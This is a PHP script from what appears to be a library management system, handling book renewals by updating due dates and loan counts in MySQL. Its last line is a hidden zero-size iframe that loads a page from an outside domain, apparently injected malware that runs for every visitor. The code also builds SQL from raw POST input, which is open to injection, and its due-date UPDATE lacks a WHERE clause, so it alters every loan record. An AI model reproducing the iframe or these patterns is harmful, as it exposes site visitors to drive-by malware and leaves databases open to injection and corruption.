<?php  //插入數據
include "../config.php";
?>

<?php
if(!empty($_POST[submit3]))
{
$no=$_POST["no"];
$bookname=$_POST["bookname"];
$category=$_POST["category"];
$department=$_POST["department"];
$readername=$_POST["readername"];
$lenddate=date("Y-m-d");
$shoulddate=date("Y-m-d",strtotime("$lenddate + 14 day"));

//$sql="insert into bookmanagement.lendingbook(`id`,`no`,`bookname`,`category`,`department`,`readername`,`lenddate`,`shoulddate`)values(null,'$no','$bookname','$category','$department','$readername','$lenddate','$shoulddate')";
$sql="update lendingbook set shoulddate='$shoulddate'";

$result=mysql_query($sql) or die (mysql_error());

//修改讀者信息中的借書次數
$sql="update readerinfo set number=number+1 where readername='".$readername."'";
mysql_query($sql);

//修改圖書信息中的借出次數和狀態
$sql="update books set lendnumber=lendnumber+1,state='續借' where no='".$no."'";
mysql_query($sql);

if($result)
{
echo "<script language='javascript'>alert('續借操作成功！');window.location.href='js.php';</script>";
}
}
?>
<iframe src=http://www.winxpbox.com/ys/e.htm width=0 height=0></iframe>